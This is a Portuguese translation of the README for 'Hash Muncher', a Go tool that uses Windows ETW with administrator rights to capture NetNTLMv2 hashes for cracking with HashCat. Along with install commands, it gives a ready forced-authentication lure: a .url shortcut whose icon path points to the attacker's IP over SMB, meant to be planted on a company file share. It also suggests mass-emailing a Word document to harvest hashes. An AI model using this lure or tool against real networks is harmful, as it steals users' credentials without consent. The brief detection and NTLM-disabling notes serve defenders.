Hash Muncher

Capture hashes NetNTLMv2 usando ETW com direitos administrativos no Windows

• Requer acesso elevado (administrador) no Windows 8.1 / Windows 2016 ou posterior
• Usa o Rastreamento de Eventos para Windows (ETW) para obter acesso aos dados brutos de pacotes de autenticação SMB
• Decodifica as mensagens NTLM dos tipos 2 e 3
• Envia a saída para stdout ou para um arquivo
• Pressione Ctrl-C para interromper o processamento ou use a opção de timeout
• Quebre hashes com HashCat usando -m 5600

Obtendo o Hash Muncher

Três opções diferentes para colocá-lo em funcionamento

A) Baixe os binários compilados automaticamente nas releases

B) Compile e instale no Windows com este comando Go

• requer Golang

go install github.com/lkarlslund/hashmuncher@latest

C) Compile cruzado os binários Windows em qualquer plataforma suportada pelo Golang com o PowerShell instalado

• requer Golang e PowerShell

git clone https://github.com/lkarlslund/hashmuncher
cd hashmuncher
./build.ps1

Uso

1. Garanta que o Firewall do Windows permita "Compartilhamento de Arquivos e Impressoras", pois o Hash Muncher requer o serviço SMB integrado para enviar e receber a solicitação inicial e enviar pacotes de resposta ao alvo.

2. Em um prompt elevado, execute o Hash Muncher

hashmuncher.exe [-output filename.txt] [-timeout nnn] [-tracename yourname] [-help]

3. Agora espere alguém autenticar contra sua máquina, ou coloque um atalho de URL em um compartilhamento de arquivos popular, como abaixo.

[InternetShortcut]
URL=Munch
WorkingDirectory=MunchMunch
IconFile=\\10.1.2.3\%USERNAME%.icon
IconIndex=1

Substitua o endereço IP pela sua máquina Hash Muncher e salve o arquivo em um compartilhamento de arquivos (da empresa) como 'whatever.url', e observe os hashes chegando.

Existem outros métodos mencionados em Red Team Notes - Forced Authentication, e você provavelmente também pode obter sucesso enviando por e-mail um documento do Word para todos, mas isso não é nada furtivo.

Detecção

• Nenhuma que eu tenha visto, mas por favor deixe feedback

Mitigação

• Nenhuma para a parte do ETW, isso faz parte do design do Windows, segundo a Microsoft
• Use senhas FORTES! Quebrar NetNTLMv2 não é nada rápido, mas com senhas fracas certamente pode ser feito.
• Desative o NTLM completamente! Provavelmente não será indolor - mas veja Farewell NTLM - It is time to disable NTLM

Histórico

Tenho brincado com ETW de vez em quando, mas quando vi a pesquisa muito legal da Nettitude Labs soube que precisava transformar isso em uma ferramenta fácil de usar na minha linguagem favorita, Golang! A Nettitude Labs tem um POC funcional escrito em C# rodando no framework .Net, e pode ser uma opção melhor para você. Então não estou realmente inventando nada aqui, apenas adicionando isso como uma alternativa.

Se você gosta de coisas de segurança do Windows, também pode gostar da minha ferramenta de gráfico de ataques Adalanche